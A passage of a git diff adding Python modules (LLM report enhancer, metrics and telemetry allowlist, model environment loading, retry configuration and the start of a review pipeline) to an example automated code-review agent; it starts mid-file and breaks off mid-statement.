"请在隔离分支完成修复并补充对应回归测试。", + "human_review_hint": "请人工确认修复后的风险边界。", + } + yield LlmResponse(content=Content(parts=[Part.from_text(text=json.dumps(payload, ensure_ascii=False))])) + + def validate_request(self, request: Any) -> None: + """沿用基类请求校验,确保 fake 与 real 都拒绝空输入。""" + + super().validate_request(request) + + +class LlmEnhancer: + """通过 LlmAgent 与 Runner 受限增强报告文本,永不参与 finding 检出。""" + + def __init__( + self, + *, + mode: str = "off", + model: LLMModel | None = None, + environ: Mapping[str, str] | None = None, + timeout_seconds: float = 110.0, + ) -> None: + """初始化显式模式;real 仅使用调用方提供的受控模型环境或进程环境。""" + + if mode not in _MODES: + raise ValueError("model_mode_invalid") + if mode == "off" and model is not None: + raise ValueError("model_mode_off_rejects_model") + if timeout_seconds <= 0: + raise ValueError("llm_timeout_seconds_invalid") + self._mode = mode + self._model = model + self._environment = dict(environ) if environ is not None else None + self._timeout_seconds = float(timeout_seconds) + self.last_prompt = "" + self.agent_run_count = 0 + + @property + def mode(self) -> str: + """返回当前显式模型模式,供调用方审计而不暴露模型配置。""" + + return self._mode + + def enhance(self, report: Mapping[str, Any]) -> dict[str, Any]: + """运行受控模型链路并仅合并 recommendation、summary 与人工复核提示文本。""" + + baseline = deepcopy(dict(report)) + if self._mode == "off": + return baseline + try: + asyncio.get_running_loop() + except RuntimeError: + pass + else: + raise RuntimeError("llm_enhancement_sync_api_requires_no_running_loop") + prompt = self._build_prompt(baseline) + self.last_prompt = prompt + response = asyncio.run( + asyncio.wait_for( + self._run_agent(prompt), + timeout=self._timeout_seconds, + ) + ) + return self._merge_text_only(baseline, response) + + def _build_prompt(self, report: Mapping[str, Any]) -> str: + """从完整脱敏报告提取最小文本增强上下文,禁止传入原始 diff 或环境值。""" + + findings = [] + for bucket in ("findings", "needs_human_review"): + for finding in report.get(bucket, ()): + if not isinstance(finding, Mapping): + continue + findings.append( + { + "bucket": bucket, + "severity": finding.get("severity"), + "category": finding.get("category"), + "title": finding.get("title"), + "recommendation": finding.get("recommendation"), + } + ) + payload = redact_data( + { + "task": "enhance_existing_review_text_only", + "findings": findings, + "summary": report.get("final_conclusion", {}).get("summary", "") + if isinstance(report.get("final_conclusion"), Mapping) + else "", + } + ) + return json.dumps(payload, ensure_ascii=False, sort_keys=True) + + async def _run_agent(self, prompt: str) -> Mapping[str, Any]: + """让 fake 与 real 共享 LlmAgent+Runner 会话执行路径,并解析最后一段 JSON 响应。""" + + model = self._resolve_model() + agent = LlmAgent( + name="code_review_enhancer", + model=model, + instruction=ENHANCEMENT_INSTRUCTION, + include_contents="default", + ) + service = InMemorySessionService() + runner = Runner( + app_name="code_review_enhancer", + agent=agent, + session_service=service, + enable_post_turn_processing=False, + ) + response_text = "" + try: + message = Content(parts=[Part.from_text(text=prompt)]) + async for event in runner.run_async( + user_id="code_review", + session_id="enhancement", + new_message=message, + ): + if event.content is None: + continue + for part in event.content.parts: + if part.text: + response_text = part.text + self.agent_run_count += 1 + finally: + await runner.close() + try: + parsed = json.loads(response_text) + except (TypeError, ValueError): + return {} + return parsed if isinstance(parsed, Mapping) else {} + + def _resolve_model(self) -> LLMModel: + """解析显式注入模型、离线 fake 或明确 real 环境配置,绝不自动升级为 real。""" + + if self._model is not None: + return self._model + if self._mode == "fake": + return _FakeEnhancementModel("code-review-fake") + if self._mode != "real": + raise ValueError("model_mode_off_has_no_model") + environment = os.environ if self._environment is None else self._environment + api_key = environment.get("TRPC_AGENT_API_KEY", "") + base_url = environment.get("TRPC_AGENT_BASE_URL", "") + model_name = environment.get("TRPC_AGENT_MODEL_NAME", "") + if not api_key or not base_url or not model_name: + raise ValueError("real_model_configuration_missing") + return build_real_model(environment) + + def _merge_text_only( + self, + baseline: dict[str, Any], + response: Mapping[str, Any], + ) -> dict[str, Any]: + """将模型输出限制为文本字段,并验证模型无法改变任何 finding 身份或桶归属。""" + + recommendation = response.get("recommendation") + summary = response.get("summary") + hint = response.get("human_review_hint") + if not isinstance(recommendation, str) or not recommendation.strip(): + recommendation = None + if not isinstance(summary, str) or not summary.strip(): + summary = None + if not isinstance(hint, str) or not hint.strip(): + hint = None + for bucket in ("findings", "needs_human_review"): + findings = baseline.get(bucket, ()) + if not isinstance(findings, list): + continue + for finding in findings: + if not isinstance(finding, dict): + continue + identity = {name: deepcopy(finding.get(name)) for name in _IDENTITY_FIELDS} + if recommendation is not None: + finding["recommendation"] = redact_data(recommendation) + if bucket == "needs_human_review" and hint is not None: + finding["recommendation"] = redact_data(f"{finding['recommendation']} {hint}") + if any(finding.get(name) != value for name, value in identity.items()): + raise ValueError("llm_attempted_to_mutate_finding_identity") + conclusion = baseline.get("final_conclusion") + if isinstance(conclusion, dict) and summary is not None: + conclusion["summary"] = redact_data(summary) + recommendations = conclusion.get("recommendations") + if isinstance(recommendations, list) and recommendation is not None: + conclusion["recommendations"] = [redact_data(recommendation), *recommendations] + return baseline + + +__all__ = ["LlmEnhancer"] diff --git a/examples/skills_code_review_agent/code_review/metrics.py b/examples/skills_code_review_agent/code_review/metrics.py new file mode 100644 index 000000000..b86adb1a6 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/metrics.py @@ -0,0 +1,386 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""自动代码评审的指标汇总与安全 Telemetry 边界。""" + +from __future__ import annotations + +from contextlib import nullcontext +import platform +import re +import sys +import time +from dataclasses import dataclass +from types import MappingProxyType +from typing import Any, Callable, ContextManager, Iterable, Mapping + + +_RUNTIME_TYPES = frozenset({"container", "cube", "fake", "local", "unknown"}) +_DURATION_STAGES = frozenset({"parse", "postprocess", "sandbox", "llm"}) +_TELEMETRY_STAGES = frozenset( + {"total", "parse", "sandbox", "postprocess", "llm"} +) +_SEVERITIES = frozenset({"critical", "high", "medium", "low", "info"}) +_SAFE_ENUM = re.compile(r"^[a-z][a-z0-9_.-]{0,63}$") +_SAFE_TASK_ID = re.compile(r"^[A-Za-z0-9_.-]{1,64}$") +_TASK_STATUSES = frozenset( + {"completed", "completed_with_warnings", "failed", "running"} +) + +TELEMETRY_ATTRIBUTE_ALLOWLIST = frozenset( + { + "code_review.duration_ms", + "code_review.error_type", + "code_review.filter_block_count", + "code_review.filter_review_count", + "code_review.finding_count", + "code_review.llm_duration_ms", + "code_review.needs_human_review_count", + "code_review.runtime_type", + "code_review.sandbox_duration_ms", + "code_review.sandbox_run_count", + "code_review.stage", + "code_review.status", + "code_review.suppressed_count", + "code_review.task_id", + "code_review.tool_call_count", + "code_review.total_duration_ms", + "code_review.warning_count", + } +) + + +def _non_negative_count(value: int, name: str) -> int: + """验证并返回一个非负整数计数。""" + + if isinstance(value, bool) or not isinstance(value, int) or value < 0: + raise ValueError(f"{name} must be a non-negative integer") + return value + + +def _duration_ms(value: float | int, name: str) -> int: + """验证并规范化一个非负毫秒耗时。""" + + if isinstance(value, bool) or not isinstance(value, (int, float)) or value < 0: + raise ValueError(f"{name} must be a non-negative duration") + return int(round(value)) + + +def _safe_enum(value: str, name: str) -> str: + """验证仅可安全记录的枚举值,拒绝路径和自由文本。""" + + if not isinstance(value, str) or not _SAFE_ENUM.fullmatch(value): + raise ValueError(f"{name} must be a safe enum value") + return value + + +def _freeze_distribution(values: Mapping[str, int]) -> Mapping[str, int]: + """按稳定顺序冻结一份整数分布映射。""" + + return MappingProxyType(dict(sorted(values.items()))) + + +def _sdk_span_factory(name: str) -> ContextManager[Any]: + """延迟获取 SDK tracer;未安装 OTel 时返回无副作用上下文。""" + + try: + from trpc_agent_sdk.telemetry import tracer + except ImportError: + return nullcontext(None) + return tracer.start_as_current_span(name) + + +@dataclass(frozen=True) +class MetricsSnapshot: + """报告冻结时生成的不可变监控指标快照。""" + + total_duration_ms: int + sandbox_duration_ms: int + llm_duration_ms: int + tool_call_count: int + sandbox_run_count: int + filter_block_count: int + filter_review_count: int + finding_count: int + warning_count: int + needs_human_review_count: int + suppressed_count: int + severity_distribution: Mapping[str, int] + category_distribution: Mapping[str, int] + error_type_distribution: Mapping[str, int] + runtime_type: str + python_version: str + platform: str + + def to_dict(self) -> dict[str, object]: + """返回可安全落库和 JSON 序列化的独立快照副本。""" + + return { + "total_duration_ms": self.total_duration_ms, + "sandbox_duration_ms": self.sandbox_duration_ms, + "llm_duration_ms": self.llm_duration_ms, + "tool_call_count": self.tool_call_count, + "sandbox_run_count": self.sandbox_run_count, + "filter_block_count": self.filter_block_count, + "filter_review_count": self.filter_review_count, + "finding_count": self.finding_count, + "warning_count": self.warning_count, + "needs_human_review_count": self.needs_human_review_count, + "suppressed_count": self.suppressed_count, + "severity_distribution": dict(self.severity_distribution), + "category_distribution": dict(self.category_distribution), + "error_type_distribution": dict(self.error_type_distribution), + "runtime_type": self.runtime_type, + "python_version": self.python_version, + "platform": self.platform, + } + + +class MetricsCollector: + """聚合单次评审的计数、耗时和安全枚举指标。""" + + def __init__( + self, + *, + task_id: str, + runtime_type: str, + clock: Callable[[], float] = time.perf_counter, + span_factory: Callable[[str], ContextManager[Any]] = _sdk_span_factory, + ) -> None: + """初始化一次评审的指标状态、单调起始时间和 span 工厂。""" + + self._task_id = str(task_id) + self._runtime_type = self._validate_runtime_type(runtime_type) + self._clock = clock + self._span_factory = span_factory + self._started_at = clock() + self._stage_durations: dict[str, int] = { + stage: 0 for stage in _DURATION_STAGES + } + self._tool_call_count = 0 + self._sandbox_run_count = 0 + self._filter_block_count = 0 + self._filter_review_count = 0 + self._finding_count = 0 + self._warning_count = 0 + self._needs_human_review_count = 0 + self._suppressed_count = 0 + self._severity_distribution: dict[str, int] = {} + self._category_distribution: dict[str, int] = {} + self._error_type_distribution: dict[str, int] = {} + + def record_stage_duration(self, stage: str, duration_ms: float | int) -> None: + """累计一个受支持非沙箱阶段的耗时。""" + + if stage not in _DURATION_STAGES: + raise ValueError("stage is not supported") + self._stage_durations[stage] += _duration_ms( + duration_ms, + "duration_ms", + ) + + def record_tool_call(self, count: int = 1) -> None: + """累计已经发生的工具调用次数。""" + + self._tool_call_count += _non_negative_count(count, "count") + + def record_sandbox_run(self, duration_ms: float | int) -> None: + """累计一次沙箱运行及其耗时。""" + + self._sandbox_run_count += 1 + self._stage_durations["sandbox"] += _duration_ms( + duration_ms, + "duration_ms", + ) + + def record_filter_action(self, action: str) -> None: + """按 Filter 决策累计拦截或人工复核次数。""" + + normalized = _safe_enum(action.lower(), "action") + if normalized == "deny": + self._filter_block_count += 1 + elif normalized == "needs_human_review": + self._filter_review_count += 1 + + def record_findings( + self, + *, + findings: Iterable[Mapping[str, str]], + needs_human_review: Iterable[Mapping[str, str]], + suppressed_count: int, + warnings: Iterable[object], + ) -> None: + """累计四桶数量及正式/人工复核候选的严重级别和类别。""" + + for finding in findings: + self._record_finding(finding) + self._finding_count += 1 + for finding in needs_human_review: + self._record_finding(finding) + self._needs_human_review_count += 1 + self._suppressed_count += _non_negative_count( + suppressed_count, + "suppressed_count", + ) + self._warning_count += sum(1 for _ in warnings) + + def record_error(self, error_type: str) -> None: + """累计一个允许写入 Telemetry 的枚举型错误代码。""" + + normalized = _safe_enum(error_type, "error_type") + self._error_type_distribution[normalized] = ( + self._error_type_distribution.get(normalized, 0) + 1 + ) + + def record_warning(self, count: int = 1) -> None: + """累计后处理阶段新增的安全 warning,避免重放 finding 统计。""" + + self._warning_count += _non_negative_count(count, "count") + + def emit_span( + self, + stage: str, + *, + status: str, + duration_ms: float | int, + error_type: str | None = None, + ) -> bool: + """使用白名单属性写入一个阶段 span,失败时保持零副作用。""" + + if stage not in _TELEMETRY_STAGES: + raise ValueError("stage is not supported") + if status not in _TASK_STATUSES: + raise ValueError("status is invalid") + normalized_error = ( + _safe_enum(error_type, "error_type") + if error_type is not None + else "" + ) + attributes = self._span_attributes( + stage=stage, + status=status, + duration_ms=_duration_ms(duration_ms, "duration_ms"), + error_type=normalized_error, + ) + try: + with self._span_factory(f"code_review.{stage}") as span: + if span is None: + return False + for key in sorted(attributes): + span.set_attribute(key, attributes[key]) + except Exception: + return False + return True + + def snapshot(self) -> MetricsSnapshot: + """冻结当前指标并返回不可受后续记录影响的快照。""" + + elapsed_ms = _duration_ms( + max(self._clock() - self._started_at, 0) * 1000, + "total_duration_ms", + ) + return MetricsSnapshot( + total_duration_ms=elapsed_ms, + sandbox_duration_ms=self._stage_durations["sandbox"], + llm_duration_ms=self._stage_durations["llm"], + tool_call_count=self._tool_call_count, + sandbox_run_count=self._sandbox_run_count, + filter_block_count=self._filter_block_count, + filter_review_count=self._filter_review_count, + finding_count=self._finding_count, + warning_count=self._warning_count, + needs_human_review_count=self._needs_human_review_count, + suppressed_count=self._suppressed_count, + severity_distribution=_freeze_distribution( + self._severity_distribution, + ), + category_distribution=_freeze_distribution( + self._category_distribution, + ), + error_type_distribution=_freeze_distribution( + self._error_type_distribution, + ), + runtime_type=self._runtime_type, + python_version=f"{sys.version_info.major}.{sys.version_info.minor}", + platform=platform.system(), + ) + + def _span_attributes( + self, + *, + stage: str, + status: str, + duration_ms: int, + error_type: str, + ) -> dict[str, object]: + """从冻结快照构造唯一允许写入 span 的属性集合。""" + + snapshot = self.snapshot() + attributes = { + "code_review.duration_ms": duration_ms, + "code_review.error_type": error_type, + "code_review.filter_block_count": snapshot.filter_block_count, + "code_review.filter_review_count": snapshot.filter_review_count, + "code_review.finding_count": snapshot.finding_count, + "code_review.llm_duration_ms": snapshot.llm_duration_ms, + "code_review.needs_human_review_count": ( + snapshot.needs_human_review_count + ), + "code_review.runtime_type": snapshot.runtime_type, + "code_review.sandbox_duration_ms": snapshot.sandbox_duration_ms, + "code_review.sandbox_run_count": snapshot.sandbox_run_count, + "code_review.stage": stage, + "code_review.status": status, + "code_review.suppressed_count": snapshot.suppressed_count, + "code_review.task_id": self._telemetry_task_id(), + "code_review.tool_call_count": snapshot.tool_call_count, + "code_review.total_duration_ms": snapshot.total_duration_ms, + "code_review.warning_count": snapshot.warning_count, + } + return { + key: value + for key, value in attributes.items() + if key in TELEMETRY_ATTRIBUTE_ALLOWLIST + } + + def _telemetry_task_id(self) -> str: + """返回可安全写入 Telemetry 的任务 ID 或固定脱敏占位符。""" + + if _SAFE_TASK_ID.fullmatch(self._task_id): + return self._task_id + return "redacted_task_id" + + def _record_finding(self, finding: Mapping[str, str]) -> None: + """验证候选的公开枚举字段并更新对应分布。""" + + severity = finding.get("severity") + category = finding.get("category") + if severity not in _SEVERITIES: + raise ValueError("finding severity is invalid") + normalized_category = _safe_enum(category, "finding category") + self._severity_distribution[severity] = ( + self._severity_distribution.get(severity, 0) + 1 + ) + self._category_distribution[normalized_category] = ( + self._category_distribution.get(normalized_category, 0) + 1 + ) + + @staticmethod + def _validate_runtime_type(runtime_type: str) -> str: + """验证锁定 runtime 枚举,避免环境信息进入指标。""" + + if runtime_type not in _RUNTIME_TYPES: + raise ValueError("runtime_type is invalid") + return runtime_type + + +__all__ = [ + "MetricsCollector", + "MetricsSnapshot", + "TELEMETRY_ATTRIBUTE_ALLOWLIST", +] diff --git a/examples/skills_code_review_agent/code_review/model_environment.py b/examples/skills_code_review_agent/code_review/model_environment.py new file mode 100644 index 000000000..b8279deb4 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/model_environment.py @@ -0,0 +1,71 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Load only explicit real-model configuration from the project dotenv file.""" + +from __future__ import annotations + +import os +from collections.abc import Mapping +from pathlib import Path + + +_MODEL_ENVIRONMENT_KEYS = ( + "TRPC_AGENT_API_KEY", + "TRPC_AGENT_BASE_URL", + "TRPC_AGENT_MODEL_NAME", +) + + +def _dotenv_values(path: Path) -> dict[str, str]: + """解析受控 .env 中的模型白名单变量;格式错误或缺失文件均不会泄漏内容。""" + + try: + lines = path.read_text(encoding="utf-8").splitlines() + except (OSError, UnicodeDecodeError): + return {} + + values: dict[str, str] = {} + for raw_line in lines: + line = raw_line.strip() + if not line or line.startswith("#") or "=" not in line: + continue + key, value = line.split("=", maxsplit=1) + key = key.strip() + if key not in _MODEL_ENVIRONMENT_KEYS: + continue + normalized_value = value.strip() + if ( + len(normalized_value) >= 2 + and normalized_value[0] == normalized_value[-1] + and normalized_value[0] in {"'", '"'} + ): + normalized_value = normalized_value[1:-1] + if normalized_value: + values[key] = normalized_value + return values + + +def load_model_environment( + dotenv_path: Path, + *, + environ: Mapping[str, str] | None = None, +) -> dict[str, str]: + """返回 real 模型所需白名单配置,显式进程环境优先且不修改宿主环境。""" + + process_values = os.environ if environ is None else environ + dotenv_values = _dotenv_values(dotenv_path) + resolved: dict[str, str] = {} + for key in _MODEL_ENVIRONMENT_KEYS: + value = process_values.get(key) or dotenv_values.get(key) + if isinstance(value, str) and value: + resolved[key] = value + return resolved + + +__all__ = ["load_model_environment"] diff --git a/examples/skills_code_review_agent/code_review/model_runtime.py b/examples/skills_code_review_agent/code_review/model_runtime.py new file mode 100644 index 000000000..c27c693f3 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/model_runtime.py @@ -0,0 +1,48 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""真实模型调用的统一超时与重试策略。""" + +from __future__ import annotations + +from collections.abc import Mapping +from typing import Any + +from trpc_agent_sdk.configs import ExponentialBackoffConfig, ModelRetryConfig + + +_REQUEST_TIMEOUT_SECONDS = 30.0 +_REAL_MODEL_RETRY_CONFIG = ModelRetryConfig( + num_retries=3, + backoff=ExponentialBackoffConfig( + initial_backoff=5.0, + multiplier=2.0, + max_backoff=20.0, + jitter=False, + ), +) + + +def build_real_model(environment: Mapping[str, str]) -> Any: + """按固定超时和 5/10/20 秒退避构造真实模型,避免网络瞬时失败或无限请求阻断评审。 + + 调用方负责在调用前验证三项模型配置均非空;本函数不会记录环境变量值,也不会把它们传入沙箱。 + """ + + from trpc_agent_sdk.models import OpenAIModel + + return OpenAIModel( + environment["TRPC_AGENT_MODEL_NAME"], + api_key=environment["TRPC_AGENT_API_KEY"], + base_url=environment["TRPC_AGENT_BASE_URL"], + model_retry_config=_REAL_MODEL_RETRY_CONFIG, + client_args={"timeout": _REQUEST_TIMEOUT_SECONDS}, + ) + + +__all__ = ["build_real_model"] diff --git a/examples/skills_code_review_agent/code_review/pipeline.py b/examples/skills_code_review_agent/code_review/pipeline.py new file mode 100644 index 000000000..c319aa2e1 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/pipeline.py @@ -0,0 +1,697 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""One deterministic eight-stage review pipeline shared by every entry point.""" + +from __future__ import annotations + +from collections.abc import Callable, Mapping +from dataclasses import dataclass +import logging +from pathlib import Path +from time import perf_counter +from typing import TYPE_CHECKING, Any, Protocol +from uuid import uuid4 + +from sqlalchemy.exc import SQLAlchemyError + +from code_review.config import ReviewConfig +from code_review.dedup import BucketedFindings, route_findings +from code_review.inputs import InputResult, InputValidationError, load_input +from code_review.llm_enhancer import LlmEnhancer +from code_review.metrics import MetricsCollector +from code_review.redaction import contains_plaintext_secret, redact_data +from code_review.report import ( + CanonicalReportWriter, + ReportValidationError, + ReportWriteError, +) +from code_review.store import ReviewStore +from code_review.trace import TraceSink, emit_trace + +if TYPE_CHECKING: + from lib.diff_parser import ChangeSet + + +_FILTER_ACTIONS = {"allow", "deny", "needs_human_review"} +_RUN_STATUSES = {"ok", "failed", "timeout", "blocked", "error"} +_RUNTIME_TYPES = {"container", "cube", "local", "fake"} +_INPUT_NAMES = ("diff_file", "repo_path", "files", "fixture") +_LOGGER = logging.getLogger("code_review_agent") + + +class PipelineFatalError(RuntimeError): + """表示输入、持久化或报告等无法形成可交付结果的致命失败。""" + + +class GovernancePort(Protocol): + """定义 C1 Filter 实现需要满足的 pipeline 前置决策端口。""" + + def decide( + self, + *, + task_id: str, + change_set: "ChangeSet", + config: ReviewConfig, + ) -> Mapping[str, Any]: + """返回 allow、deny 或 needs_human_review 及其脱敏审计数据。""" + + +class SandboxPort(Protocol): + """定义 C2 runtime 实现需要满足的受控检查与清理端口。""" + + runtime_type: str + + def execute( + self, + *, + task_id: str, + change_set: "ChangeSet", + config: ReviewConfig, + ) -> Mapping[str, Any]: + """在已获准的隔离任务域执行注册脚本并返回结构化结果。""" + + def cleanup(self, *, task_id: str) -> None: + """删除本次任务 workspace;失败由 pipeline 转为无路径 warning。""" + + +InputLoader = Callable[..., InputResult] +TaskIdFactory = Callable[[], str] + + +@dataclass(frozen=True) +class PipelineResult: + """一次成功评审的公开结果,只包含脱敏报告及输出路径。""" + + task_id: str + status: str + report: dict[str, Any] + json_path: Path + markdown_path: Path + + +def _new_task_id() -> str: + """生成不含主机信息、可安全进入存储和 Telemetry 的任务标识。""" + + return f"review-{uuid4().hex}" + + +def _safe_code(value: object, *, fallback: str) -> str: + """将端口提供的标识收敛为短枚举样式,避免路径或原文进入出口。""" + + if not isinstance(value, str): + return fallback + candidate = value.strip().lower().replace("-", "_") + if not candidate or len(candidate) > 80: + return fallback + if not all(character.isascii() and (character.isalnum() or character == "_") for character in candidate): + return fallback + return candidate + + +def _warning(code: object, *, stage: str) -> dict[str, str]: + """构造不含端口原始消息、可安全持久化的运行告警。""" + + normalized_code = _safe_code(code, fallback="pipeline_warning") + return { + "code": normalized_code, + "message": f"{normalized_code} occurred during {stage}", + "stage": stage, + } + + +def _source_input_type(input_options: Mapping[str, Any]) -> str: + """在读取任何原始输入前验证唯一输入形态并返回安全类型标识。""" + + selected = [] + for name in _INPUT_NAMES: + value = input_options.get(name) + if name == "files": + if value: + selected.append(name) + elif value is not None: + selected.append(name) + if len(selected) != 1: + raise PipelineFatalError("pipeline_input_selection_invalid") + return selected[0] + + +def _input_summary(change_set: "ChangeSet") -> dict[str, Any]: + """从 ChangeSet 构造仅含元数据和脱敏路径的报告/数据库输入摘要。""" + + files = [ + { + "path": file_change.normalized_path, + "status": file_change.status, + "review_scope": file_change.review_scope, + } + for file_change in change_set.files + ] + return redact_data( + { + "source_kind": change_set.source_kind, + "file_count": change_set.file_count, + "hunk_count": change_set.hunk_count, + "additions": change_set.additions, + "deletions": change_set.deletions, + "files": files, + "parse_warnings": [ + _safe_code(warning, fallback="parse_warning") + for warning in change_set.parse_warnings + ], + } + ) + + +def _diff_summary(change_set: "ChangeSet") -> dict[str, Any]: + """构造禁止包含原始补丁或代码行的任务落库摘要。""" + + scope_counts: dict[str, int] = {} + for file_change in change_set.files: + scope = _safe_code(file_change.review_scope, fallback="unknown_scope") + scope_counts[scope] = scope_counts.get(scope, 0) + 1 + summary = _input_summary(change_set) + return { + "input_sha256": change_set.input_sha256, + "file_count": change_set.file_count, + "hunk_count": change_set.hunk_count, + "additions": change_set.additions, + "deletions": change_set.deletions, + "review_scopes": dict(sorted(scope_counts.items())), + "files": [item["path"] for item in summary["files"]], + } + + +def _sanitize_filter_event(event: Mapping[str, Any]) -> dict[str, Any]: + """将 Filter 事件收敛为枚举/代码型字段,拒绝端口带入的原始原因文本。""" + + reasons = event.get("reasons", ()) + if not isinstance(reasons, (list, tuple)): + reasons = () + return { + "stage": _safe_code(event.get("stage"), fallback="pre_execution"), + "target": _safe_code(event.get("target"), fallback="registered_script"), + "action": _safe_code(event.get("action"), fallback="deny"), + "rule": _safe_code(event.get("rule"), fallback="governance"), + "reasons": [ + _safe_code(reason, fallback="redacted_reason") for reason in reasons + ], + } + + +def _sanitize_sandbox_run(result: Mapping[str, Any]) -> dict[str, Any]: + """二次脱敏沙箱结果并仅保留持久化契约允许的运行字段。""" + + status = _safe_code(result.get("status"), fallback="error") + if status not in _RUN_STATUSES: + status = "error" + duration_value = result.get("duration_ms", 0) + duration_ms = duration_value if isinstance(duration_value, int) and duration_value >= 0 else 0 + exit_code = result.get("exit_code") + if isinstance(exit_code, bool) or not isinstance(exit_code, int): + exit_code = None + return redact_data( + { + "status": status, + "exit_code": exit_code, + "timed_out": bool(result.get("timed_out", False)), + "truncated": bool(result.get("truncated", False)), + "filter_action": "allow", + "stdout_excerpt": result.get("stdout_excerpt", ""), + "stderr_excerpt": result.get("stderr_excerpt", ""), + "error_type": _safe_code( + result.get("error_type"), fallback="sandbox_error" + ) + if result.get("error_type") + else None, + "duration_ms": duration_ms, + } + ) + + +def _safe_candidates(result: Mapping[str, Any]) -> list[dict[str, Any]]: + """提取并二次脱敏沙箱 finding 候选,忽略非对象载荷。""" + + findings = result.get("findings", ()) + if not isinstance(findings, (list, tuple)): + return [] + return [ + redact_data(dict(finding)) + for finding in findings + if isinstance(finding, Mapping) + ] + + +def _suppressed_summary(bucketed: BucketedFindings) -> dict[str, Any]: + """把 suppressed 候选折叠为报告 schema 要求的计数与固定原因摘要。""" + + return { + "count": len(bucketed.suppressed), + "reasons": {"low_confidence": len(bucketed.suppressed)} + if bucketed.suppressed + else {}, + } + + +def _sandbox_execution_error() -> dict[str, Any]: + """将 sandbox 端口抛出的未知异常转为不携带异常文本的失败即数据结果。""" + + return { + "status": "error", + "exit_code": None, + "timed_out": False, + "truncated": False, + "stdout_excerpt": "", + "stderr_excerpt": "", + "error_type": "sandbox_execute_error", + "duration_ms": 0, + "findings": [], + } + + +def _final_conclusion(bucketed: BucketedFindings) -> dict[str, Any]: + """仅从已脱敏、去重后的四桶结果生成确定性结论与建议。""" + + recommendations: list[str] = [] + for finding in bucketed.findings: + recommendation = finding["recommendation"] + if recommendation not in recommendations: + recommendations.append(recommendation) + if bucketed.findings: + summary = f"发现 {len(bucketed.findings)} 条需要处理的正式问题。" + elif bucketed.needs_human_review: + summary = "未发现高置信正式问题,但存在需要人工复核的候选。" + else: + summary = "未发现需要处理的正式问题。" + return { + "summary": summary, + "recommendations": recommendations, + } + + +class ReviewPipeline: + """编排输入、治理、沙箱、后处理、持久化与报告的唯一检测链路。""" + + def __init__( + self, + *, + store: ReviewStore, + governance: GovernancePort, + sandbox: SandboxPort, + output_dir: Path, + config: ReviewConfig | None = None, + report_writer: CanonicalReportWriter | None = None, + input_loader: InputLoader = load_input, + task_id_factory: TaskIdFactory = _new_task_id, + model_mode: str = "off", + llm_enhancer: LlmEnhancer | None = None, + model_environment: Mapping[str, str] | None = None, + ) -> None: + """注入持久化、隔离和可选文本增强端口;检测规则始终保持唯一。""" + + if model_mode not in {"off", "fake", "real"}: + raise ValueError("model_mode_invalid") + if llm_enhancer is not None and llm_enhancer.mode != model_mode: + raise ValueError("model_mode_and_enhancer_mismatch") + runtime_type = getattr(sandbox, "runtime_type", None) + if runtime_type not in _RUNTIME_TYPES: + raise ValueError("sandbox runtime_type is invalid") + self._store = store + self._governance = governance + self._sandbox = sandbox + self._output_dir = Path(output_dir) + self._config = ReviewConfig() if config is None else config + self._report_writer = report_writer or CanonicalReportWriter() + self._input_loader = input_loader + self._task_id_factory = task_id_factory + self._llm_enhancer = llm_enhancer or LlmEnhancer( + mode=model_mode, + environ=model_environment, + timeout_seconds=float(self._config.review_deadline_seconds), + ) + + @property + def review_deadline_seconds(self) -> int: + """返回本次评审的总墙钟预算,供 Agent 入口限制模型工具回合。""" + + return self._config.review_deadline_seconds + + def run( + self, + *, + entrypoint_tool_call_count: int = 0, + trace: TraceSink | None = None, + **input_options: Any, + ) -> PipelineResult: + """执行八阶段评审,并把入口已发生的受控工具调用计入 canonical 审计指标。""" + + task_id = self._task_id_factory() + if not isinstance(task_id, str) or not task_id.strip(): + raise PipelineFatalError("pipeline_task_id_invalid") + input_type = _source_input_type(input_options) + metrics = MetricsCollector(task_id=task_id, runtime_type=self._sandbox.runtime_type) + metrics.record_tool_call(entrypoint_tool_call_count) + emit_trace( + trace, + "pipeline.started", + input_type=input_type, + runtime_type=self._sandbox.runtime_type, + ) + _LOGGER.info("Pipeline started: input_type=%s runtime=%s", input_type, self._sandbox.runtime_type) + warnings: list[dict[str, str]] = [] + filter_events: list[dict[str, Any]] = [] + sandbox_runs: list[dict[str, Any]] = [] + candidates: list[dict[str, Any]] = [] + change_set: "ChangeSet" | None = None + + self._store.initialize() + self._store.create_task( + { + "id": task_id, + "status": "running", + "input_type": input_type, + "input_ref": input_type, + "diff_summary": {}, + "config": self._config.to_dict(), + } + ) + + try: + parse_started = perf_counter() + try: + input_result = self._input_loader( + config=self._config, + **input_options, + ) + except InputValidationError as exc: + self._store.update_task( + task_id, + status="failed", + error_type="input_validation_error", + error_message=_safe_code(exc.args[0] if exc.args else None, fallback="input_unavailable"), + ) + raise PipelineFatalError("pipeline_input_unavailable") from exc + except Exception as exc: + self._store.update_task( + task_id, + status="failed", + error_type="input_load_error", + error_message="input_load_error", + ) + raise PipelineFatalError("pipeline_input_load_failed") from exc + change_set = input_result.change_set + emit_trace( + trace, + "pipeline.input_loaded", + source_kind=change_set.source_kind, + ) + _LOGGER.info( + "Input loaded: source=%s files=%s hunks=%s changed_lines=%s", + change_set.source_kind, + change_set.file_count, + change_set.hunk_count, + change_set.additions, + ) + metrics.record_stage_duration( + "parse", + (perf_counter() - parse_started) * 1000, + ) + self._store.update_task( + task_id, + input_ref=change_set.source_kind, + diff_summary=_diff_summary(change_set), + ) + warnings.extend( + _warning(code, stage="parse") for code in input_result.warnings + ) + + try: + decision = self._governance.decide( + task_id=task_id, + change_set=change_set, + config=self._config, + ) + except Exception as exc: + self._store.update_task( + task_id, + status="failed", + error_type="governance_error", + error_message="governance_error", + ) + raise 